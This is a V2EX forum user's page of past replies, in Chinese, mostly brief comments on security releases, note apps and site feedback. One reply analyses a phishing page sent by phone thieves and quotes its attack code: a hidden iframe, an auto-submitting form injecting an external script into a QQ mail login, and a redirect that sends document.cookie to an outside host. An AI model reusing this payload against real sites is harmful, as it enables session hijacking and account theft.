V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  Evi1m0  ›  全部回复第 1 页 / 共 7 页
回复总数  134
1  2  3  4  5  6  7  
2018-02-22 11:14:52 +08:00
回复了 Henryzhao 创建的主题 全球工单系统 请求 Bilibili 开启二步认证
什么明文密码什么脱裤...怎么不动脑子的那么多?

题主提到的二步认证现在被小范围用于被风控的账号中,例如存在弱口令或撞库风险的账号。
2015-12-11 13:49:45 +08:00
回复了 Evi1m0 创建的主题 信息安全 Jinja2 2.0 /utils.py urlize vulnerability
<img src="test">
2015-12-07 17:05:45 +08:00
回复了 graetdk 创建的主题 分享创造 第三方微博搜索 API 的想法
2015-11-09 15:56:05 +08:00
回复了 twoconk 创建的主题 设计 新上线 web 站,求吐槽
2015-11-02 19:47:04 +08:00
回复了 saxon 创建的主题 问与答 朋友 6S 被偷了,小偷(可能是团伙)发来链接偷取 APPLE ID
2015-11-02 15:58:08 +08:00
回复了 saxon 创建的主题 问与答 朋友 6S 被偷了,小偷(可能是团伙)发来链接偷取 APPLE ID
嗯,刚才测试了一下,如果你的企业邮箱在登录情况下访问了如上网址,是可以登录你的邮箱。
2015-11-02 15:17:27 +08:00
回复了 saxon 创建的主题 问与答 朋友 6S 被偷了,小偷(可能是团伙)发来链接偷取 APPLE ID
@BOYPT

两个 iframe ,一些常见网站是人民网的分享接口进行的访问,不是攻击者。

另外一个 iframe 是进行攻击者的操作:

<iframe src="http://society.people.com.cn/n/2015/1031/c1008-27760163.html" style="width:100%;height:1200px;border:none"></iframe>

<iframe src="/htmlpage5.html" style="display:none"></iframe>

---------------

function test(PARAMS) {
var temp = document.createElement("form");
temp.acceptCharset = "utf-8";
//By Wfox
temp.action = 'http://m.exmail.qq.com/cgi-bin/login';
temp.method = "post";
temp.style.display = "none";
for (var x in PARAMS) {
var opt = document.createElement("textarea");
opt.name = x;
opt.value = PARAMS[x];
temp.appendChild(opt);
}
document.body.appendChild(temp);
temp.submit();
}
test({
uin: '\\&quot;&lt;/script&gt;&lt;script src=http://ryige.com/q/8&gt;&lt;/script&gt;',
});


document.domain="qq.com";
window.onload=documentrrady;
function documentrrady(){
window.location.href="http://ryige.com/server/AddQQUser?c="+encodeURI(document.cookie)+"&u=lockKey8&r="+encodeURI(document.referrer)
};
2015-08-03 15:24:55 +08:00
回复了 xiongbiao 创建的主题 分享创造 用 Python 给 Linux 写了个键盘音效软件 - Tickeys - Linux
nice
2015-07-31 10:01:31 +08:00
回复了 Evi1m0 创建的主题 信息安全 Beehive v0.1.0 Release
@Owenjia 脚本获取 py 依赖,手工对一些进行处理。
2015-07-30 20:04:18 +08:00
回复了 Evi1m0 创建的主题 信息安全 Beehive v0.1.0 Release
@Owenjia
准备在之后的版本加入 PoC 依赖自动安装第三方依赖
2015-07-30 18:08:23 +08:00
回复了 Evi1m0 创建的主题 信息安全 Beehive v0.1.0 Release
@Owenjia nice
2015-06-01 14:04:04 +08:00
回复了 DickChen 创建的主题 编辑器 有道云笔记、印象笔记、为知笔记哪家强?
如果你想安全点儿,可能印象笔记更好一些。
2015-04-20 16:33:49 +08:00
回复了 yuewolf 创建的主题 Python 蛋疼的 PYTHON
呵呵
1  2  3  4  5  6  7  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2893 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 28ms · UTC 12:37 · PVG 20:37 · LAX 04:37 · JFK 07:37
Developed with CodeLauncher
♥ Do have faith in what you're doing.